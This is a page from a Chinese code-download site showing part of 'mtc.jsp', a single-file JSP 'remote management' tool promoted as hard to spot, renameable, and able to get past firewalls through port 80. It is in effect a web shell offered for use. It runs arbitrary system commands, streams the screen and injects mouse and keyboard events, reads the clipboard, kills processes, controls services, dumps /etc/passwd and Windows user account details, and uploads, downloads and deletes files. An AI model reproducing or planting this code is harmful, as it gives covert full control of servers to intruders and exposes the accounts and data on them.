⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mtc.jsp

📁 最大特点 1.跨平台,基本WEB服务,无论防火强怎么封端口,只要打开80,就可以远程管理服务器. 2.客户端无论安装任何插件. 3.只有一个JSP文件,文件名可以随意改,隐蔽性好.
💻 JSP
📖 第 1 页 / 共 3 页
字号:
  </tr>
  <tr>
    <td align="right">版本:</td>
    <td><select name="ver">
    <option value="true">普通</option>
    <option value="false">极速</option>
    </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><input type="submit" value="提交" onclick="d('file.login')" />
      <input type="reset" value="重置" /></td>
  </tr>
</table>
<script type="">form1.user.focus();</script>
<%
}else if("win0".equals(mt4))//获取服务器剪贴板内容
{
  Clipboard cb=Toolkit.getDefaultToolkit().getSystemClipboard();
  Transferable tr=cb.getContents(null);
  String str="";
  if(tr.isDataFlavorSupported(DataFlavor.stringFlavor))
  {
    str=(String) tr.getTransferData(DataFlavor.stringFlavor);
  }
  out.print("<textarea id='cb' style='width:100%' rows='10' wrap='off'>"+str.replaceAll("</","&lt;/")+"</textarea>");
  out.print("<input type='button' value='确定' onclick=d('wins.cb',cb.value)><input type='button' value='关闭' onclick='window.close();'>");
  return;
}else
{
  String rem[]={"文件","终端","桌面","任务","服务","用户","信息"};
  String cmd[]={"file","term","wins","task","serv","user","info"};
  out.print("<select onchange='d(value)'>");
  for(int i=0;i<cmd.length;i++)
  {
    out.print("<option value='"+cmd[i]+"'");
    if(cmd[i].equals(mt4))
    {
      out.print(" selected=''");
    }
    out.print(">"+rem[i]);
  }
  out.print("</select>");
  if("term".equals(mt4))
  {
    out.print("<input name='p' type='hidden' value=\""+p+"\"/>");
    out.print("<textarea name='cmd' style='width:100%;overflow-y:visible;' rows='5' onkeypress=\"if(!event.shiftKey&&event.keyCode==13){ event.returnValue=false; d('term.cmd',value); }\"></textarea><script>form1.cmd.focus();</script>");
    out.print("<br/><br/><br/>");
    out.print("<table style='width:400'>");
    out.print("  <tr><th>功能</th><th>命令</th></tr>");
    out.print("  <tr><td>重启机器</td><td>shutdown -r -f -time 0</td></tr>");
    out.print("  <tr><td>解压文件</td><td>unrar x -y xxxx.rar</td></tr>");
    out.print("  <tr><td>重启服务</td><td>net stop tomcat6 &amp; net start tomcat6</td></tr>");
    out.print("  <tr><td>环境信息</td><td>env</td></tr>");
    out.print("</table>");
  }else if("wins".equals(mt4))
  {
    out.print("<input type='button' value='剪贴板' onclick=window.open('?mt=win0','','width=400,height=200,resizable=1')><br>");
    for(int i=0;i<8;i++)
    {
      out.print("<img name=img src=?mt=wins.screen&v="+i+" onmousedown='fevent(event)' onmousemove='fevent(event)' onmouseup='fevent(event)'><br>");
    }
    out.print("<script>");
    out.print("document.body.onkeydown=fevent;");
    out.print("document.body.onkeyup=fevent;");
    out.print("document.body.oncontextmenu=function(){return false};");
    out.print("document.body.onselectstart=function(){return false};");
    out.print("var img=document.getElementsByName('img');");
    out.print("function ftimeout()");
    out.print("{");
    out.print("  for(var i=0;i<img.length;i++)");
    out.print("  {");
    out.print("    img[i].src='?mt=wins.screen&v='+i+'&t='+new Date().getTime();");
    out.print("  }");
    out.print("}");
    out.print("window.setInterval(ftimeout,2000);");
    out.print("</script>");
    out.print("<iframe id='ifr' src='about:blank' style='display:none'></iframe>");
  }else if("task".equals(mt4))
  {
    out.print("<input type='button' id='kill' value='结束进程' onclick=d('task.kill'); />");
    out.print("<table>");
    String str = exec(isLinux ? "ps uax" : "tasklist /v /fo csv", null);
    String trs[] = str.trim().split("\n");
    for(int i = 0; i < trs.length; i++)
    {
      if(trs[i].startsWith("\"tasklist.exe\""))
      continue;
      String tds[] = trs[i].split(isLinux ? " +" : "\",\"");
      out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td><input type='checkbox' name='ps' value='" + tds[1] + "' onclick=if(value=='PID')s(checked)>");
      for(int j = 0; j < tds.length; j++)
      {
        if(isLinux)
        {
          if(tds[j].charAt(0) == '/')// linux: 绝对路径中取名称
          {
            int x = tds[j].lastIndexOf("/");
            if(x != -1)
            tds[j] = tds[j].substring(x + 1);
          }
        } else
        if(j == 0)
        tds[j] = tds[j].substring(1);
        else
        if(j == tds.length - 1)
        tds[j] = tds[j].substring(0, tds[j].length() - 2);
        else
        if(j == 6)
        tds[j] = tds[j].substring(tds[j].indexOf('\\') + 1);
        out.print(i==0?"<th nowrap>":"<td>");
        out.print(tds[j]);
      }
      out.print("</tr>\n");
    }
    out.print("</table>");
  }else if("serv".equals(mt4))
  {
    out.print("<input type='button' id='start' value='启动' onclick=d('serv.start'); />");
    out.print("<input type='button' id='stop' value='停止' onclick=d('serv.stop'); />");
    out.print("<input type='button' id='restart' value='重启' onclick=d('serv.restart'); />");
    out.print("<table>");
    if (isLinux)
    {
      out.print("<tr><th><th>服务名称<th>状态<th>描述</tr>");
      File fs[] = new File("/etc/rc.d/init.d/").listFiles();
      for (int i = 0; i < fs.length; i++)
      {
        String name = fs[i].getName();
        out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td><input type='checkbox' name='ps' value=" + name + ">");
        out.print("<td>"+name);
        //
        String str = exec("/etc/init.d/" + name + " status", null);
        int j = str.indexOf(" ");
        out.print("<td>"+str.substring(j + 1));
        //
        byte by[] = new byte[500];
        FileInputStream fis = new FileInputStream(fs[i]);
        fis.read(by);
        fis.close();
        str = new String(by).replaceAll("\\\\\n#", "");
        j = str.indexOf("# description: ");
        if (j != -1)
        {
          str = str.substring(j + 15, str.indexOf("\n", j));
        }
        out.print("<td title=\""+str+"\">");
        if (str.length() > 20)
        {
          str = str.substring(0, 17) + "...";
        }
        out.print(str);
        out.print("\n");
      }
    } else
    {
      out.print("<tr><td><th>名称<th>描述<th>状态<th>启动类型<th>登录为</tr>");
      String str = exec("sc query state= all", null);
      String ss[] = str.split("SERVICE_NAME: ");
      for (int i = 1; i < ss.length; i++)
      {
        String rs[] = ss[i].split("\r\n");
        String sname = rs[0];
        String title = rs[1].substring(14);
        int state = rs[3].charAt(29) - 48;
        int start=0;
        String desc=null,path=null,login=null;
        if(ver)
        {
          //描述
          //str = exec("sc qdescription " + rs[0], null);
          //desc = str.substring(str.indexOf(":  ") + 3);
          //
          str = exec("sc qc \"" + rs[0]+"\"", null);
          rs = str.split("\r\n");
          start = rs[4].charAt(29) - 48;
          path = rs[6].substring(29);
          login = rs[11].substring(29);
          if (login.equalsIgnoreCase("LocalSystem"))
          {
            login = "本地系统";
          } else if (login.equalsIgnoreCase("NT AUTHORITY\\LocalService"))
          {
            login = "本地服务";
          } else if (login.equalsIgnoreCase("NT AUTHORITY\\NetworkService"))
          {
            login = "网络服务";
          }
        }
        out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor='' title=\"");
        out.print("服务名 :"+sname+"&#13;");
        out.print("显示名 :"+title+"&#13;");
        out.print("描述  :"+desc+"&#13;");
        out.print("状态  :"+STATE_TYPE[state]+"&#13;");
        out.print("启动类型:"+START_TYPE[start]+"&#13;");
        out.print("路径  :"+path.replaceAll("\"","&quot;")+"&#13;");
        out.print("登录为 :"+login+"\">");
        if (title!=null&&title.length() > 30)
        {
          title = title.substring(0, 27) + "...";
        }
        if (desc!=null&&desc.length() > 20)
        {
          desc = desc.substring(0, 17) + "...";
        }
        out.print("<td><input type='checkbox' name='ps' value=\"" + sname + "\">");
        out.print("<td>");
        if(path!=null)
        {
          int j=path.indexOf(" ");
          if(j!=-1)path=path.substring(0,j);
          out.print("<img src='?mt=file.ext&p="+URLEncoder.encode(path,"UTF-8")+"' class='I'>");
        }
        out.print(title);
        out.print("<td>"+desc);
        out.print("<td>"+STATE_TYPE[state]);
        out.print("<td>"+START_TYPE[start]);
        out.print("<td>"+login+"\n");
      }
    }
    out.print("</table>");
  }else if("user".equals(mt4))
  {
    out.print("<table>");
    File fpwd = new File("/etc/passwd");
    if (fpwd.exists())
    {
      byte by[] = new byte[ (int) fpwd.length()];
      FileInputStream fis = new FileInputStream(fpwd);
      fis.read(by);
      fis.close();
      String str = new String(by);
      str = ("\n" + str.substring(0, str.length() - 1)).replaceAll("\n", "<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''><td>").replaceAll(":", "<td>");
      str = "<tr><th>用户名<th>口令<th>用户标识号<th>组标识号<th>注释性描述<th>主目录<th>登录Shell</tr>" + str;
      out.print(str);
    } else
    {
      out.print("<tr><th>用户名<th>全名<th>注释<th>用户的注释<th>国家(地区)代码<th>帐户启用<th>帐户到期<th>上次设置密码<th>密码到期<th>密码可更改<th>需要密码<th>用户可以更改密码<th>允许的工作站<th>登录脚本<th>用户配置文件<th>主目录<th>上次登录<th>可允许的登录小时数<th>本地组成员<th>全局组成员</tr>");
      String str = exec("net user", null);
      str = str.substring(str.indexOf("-\r\n") + 3);
      String us[] = str.split(" +");
      for (int i = 0; i < us.length - 1; i++)
      {
        out.print("<tr onmouseover=bgColor='#BCD1E9' onmouseout=bgColor=''>");
        // out.print("<td>"+us[i]);
        String s[] = exec("net user " + us[i], null).split("(\r\n)+");
        for (int j = 0; j < s.length - 1; j++)
        {
          out.print("<td>"+s[j].substring(s[j].indexOf(' ') + 1));
        }
      }
    }
    out.print("</table>");
  }else if("info".equals(mt4))
  {
    out.print("<pre>");
    String str = exec(isLinux ? "dmidecode" : "systeminfo", null);
    out.print(str);
    out.print("</pre>");
  }else
  {

p=p.replaceAll("\\\\","/");
if(!p.endsWith("/"))p+="/";

%>
<input type="text" name="p" value="<%=p%>" onfocus="select();" style="position:absolute; width:400px; top:1px;">
<select id="pmenu" style="position:absolute; width:400px; top:1px; clip:rect(0 400 20 381)" onchange="form1.p.value=value;form1.submit();">
<%

File fs[]=!isLinux&&p.length()<2?File.listRoots():f.listFiles();
//排序
if(oby>1)
{
  for(int i=0;i<fs.length;i++)
  {
    long ilm=fs[i].lastModified();
    long ile=fs[i].length();
    for(int j=i;j<fs.length;j++)
    {
      long jlm=fs[j].lastModified();
      long jle=fs[j].length();
      if(oby==4&&ilm>jlm||oby==2&&ile>jle)
      {
        File sw=fs[i];
        fs[i]=fs[j];
        fs[j]=sw;
        ilm=jlm;
        ile=jle;
      }
    }
  }
}
out.print("<option value=\"/\">我的电脑");
File rfs[]=File.listRoots();
if(isLinux)
{
  Matcher m=Pattern.compile(" (/[^\n]+)\n").matcher(exec("df",null));
  ArrayList al=new ArrayList();
  while(m.find())
  {
    al.add(new File(m.group(1)));
  }
  rfs=new File[al.size()];
  al.toArray(rfs);
}
for(int i=0;i<rfs.length;i++)
{
  String path=rfs[i].getPath().replaceAll("\\\\","/");
  String name=!fsv.isFloppyDrive(rfs[i])&&rfs[i].exists()?fsv.getSystemDisplayName(rfs[i]):path;
  out.print("<option value=\""+path+"\">&nbsp;&nbsp;&nbsp;&nbsp;"+name);
  if(p.length()>0&&p.startsWith(path))
  {
    int pindex=path.length();
    while((pindex=p.indexOf("/",pindex+1))!=-1)
    {
      String str=p.substring(0,pindex+1);
      String rps[]=str.split("/");
      out.print("<option value=\""+str+"\">");
      for(int j=0;j<rps.length;j++)out.print("&nbsp;&nbsp;");
      out.print(rps[rps.length-1]);
    }
  }
}

String sps[]={"user.home","java.home","user.dir","real.path"};//sun.boot.library.path,"catalina.home"
for(int i=0;i<sps.length;i++)
{
  String value;
  switch(i)
  {
    case 3:
    value=application.getRealPath("/");
    break;
    default:
    value=System.getProperty(sps[i]);
  }
  out.print("<option value=\""+value+"\"> "+sps[i]+"</option>");
}
%>
</select>
<span style="width:400px">                                 </span>
<script type="">document.getElementById("pmenu").value=document.form1.p.value;</script>
<input type="submit" value="转到" onclick="form1.mt.disabled=form1.v.disabled=true;form1.method='get';"/><input type="button" id="cut" value="剪切" onclick="d('file.cut');"/><input type="button" id="copy" value="复制" onclick="d('file.copy');"/><input type="button" <%if(session.getAttribute("file.cut")==null&&session.getAttribute("file.copy")==null)out.print(" disabled ");%> value="粘贴" onclick="d('file.paste');"/><input type="button" id="del" value="删除" onclick="d('file.del');"/><input type="button" id="ren" value="改名" onclick="d('file.ren');"/><input type="button" id="unzip" value="解压" onclick="d('file.unzip')"/><input type="button" id="zip" value="压缩" onclick="d('file.zip')"/><input type="button" id="down" value="下载" onclick="d('file.down')"/><span><input type="file" name='upload' style="position:absolute;width:72px;filter:alpha(opacity=0)" onchange="d('file.upload');"><input type="button" id="upload" value="上传文件"></span><input type="button" id="mkdir" value="创建" onclick="d('file.mkdir')"/>
<table cellspacing="1">
<tr>
  <th width="1"><input type="checkbox" onclick="s(checked)"/></th>
  <th><a href="javascript:o(1)">名称</a></th>
  <th align="right"><a href="javascript:o(2)">大小</a></th>
  <th>类型</th>
  <th><a href="javascript:o(4)">日期</a></th>
  <th>属性</th>
</tr>
<%
if (fs == null)
{
  out.print("<tr><td>目录不存在...</td></tr>");
}else
{
  StringBuffer sb=new StringBuffer();
  java.text.SimpleDateFormat sdf=new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm");
  java.text.DecimalFormat df=new java.text.DecimalFormat("#,###.##");
  for (int i = pos*100;i<pos*100+100&& i < fs.length; i++)
  {
    String pc=fs[i].getPath().replaceAll("\\\\","/");
    String pu=URLEncoder.encode(pc,"UTF-8");
    if(pu.equals("A%3A%2F"))continue;
    String name,desc="--",time="",pro="";
    if(!fs[i].exists())
    {
      name=pc;
    }else
    {
      ShellFolder sf=ShellFolder.getShellFolder(fs[i]);
      name=sf.getDisplayName();
      desc=sf.getFolderType();
      time=sdf.format(new java.util.Date(fs[i].lastModified()));
      if (p.length()>2&&fs[i].isHidden())pro+=" H";
      if (!fs[i].canWrite())pro+=" R";
    }
    if(name.endsWith(".lnk"))
    {
      fs[i]=getLnkpath(fs[i]);
    }
    if(fs[i].isDirectory())
    {
      out.print("<tr onmouseover=\"bgColor='#EAF1F9';\" onmouseout=\"bgColor='';\" >");
      out.print("<td><input type=\"checkbox\" name=\"ps\" value=\""+pc+"\"/></td>");
      out.print("<td class='t1'><a href=\"?p="+pu+"\">");
      if(ver)out.print("<img src='?mt=file.ext&p="+pu+"' class='I"+pro+"' />");
      out.print(name+"</a></td>");
      out.print("<td class='t2'>");
      if(p.length()<2)
      {
        //out.print(df.format(fs[i].getTotalSpace()/1024F/1024F/1024F)+" GB");
      }else if(ver)
      {
        String son[]=fs[i].list();
        out.print(son==null?-1:son.length);
      }
      out.print("<td>"+desc);
      out.print("<td class='t4'>"+time);
      out.print("<td>");
      if(p.length()<2)
      {
        //out.print(df.format(fs[i].getUsableSpace()/1024F/1024F/1024F)+" GB");
      }else
      {
        out.print(pro);
      }
      out.print("</td></tr>");
    }else
    {
      sb.append("<tr onmouseover=bgColor='#EAF1F9'; onmouseout=bgColor='';>");
      sb.append("<td><input type='checkbox' name='ps' value=\"").append(pc).append("\"/></td>");
      sb.append("<td class='t1'><a href=\"?mt=file.dl&p=").append(pu).append("\">");
      if(ver)sb.append("<img src='?mt=file.ext&p=").append(pu).append("' class='I").append(pro).append("' />");
      sb.append(name).append("</a></td>");
      sb.append("<td class='t2'>").append(df.format(fs[i].length()/1024F)).append(" KB</td>");
      sb.append("<td>").append(desc);
      sb.append("<td class='t4'>").append(time).append("</td>");
      sb.append("<td>").append(pro).append("</td></tr>");
    }
  }
  out.print(sb.toString());
  if(fs.length>100)
  {
    String pu=URLEncoder.encode(p,"UTF-8");
    out.print("<tr><td colspan='2'>共"+fs.length+"对象<td colspan='4' align='right'>");
    if(pos>0)
    {
      out.print("<a href='?p="+pu+"'><font face='webdings'>9</font></a> <a href='?p="+pu+"&pos="+(pos-1)+"'><font face='webdings'>3</font></a> ");
    }
    int len=fs.length/100;
    if(fs.length%100!=0)len++;
    for(int i=0;i<len;i++)
    {
      if(i!=pos)
      {
        out.print("<a href='?p="+pu+"&pos="+i+"'>");
      }
      out.print(i+"</a> ");
    }
    if(pos<len-1)
    {
      out.print("<a href='?p="+pu+"&pos="+(pos+1)+"'><font face='webdings'>4</font></a> <a href='?p="+pu+"&pos="+(len-1)+"'><font face='webdings'>:</font></a>");
    }
  }
}
%>
</table>
<%
  }
}
%>
</form>

<table align="center" style="width:500px">
<tr>
<td align="right">Copyright &copy;2008</td>
<td>Powered By <a href="http://www.mietian.net/" target="_blank">灭天远程管理 Version 1.1</a>
</td>
</tr>
</table>

</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -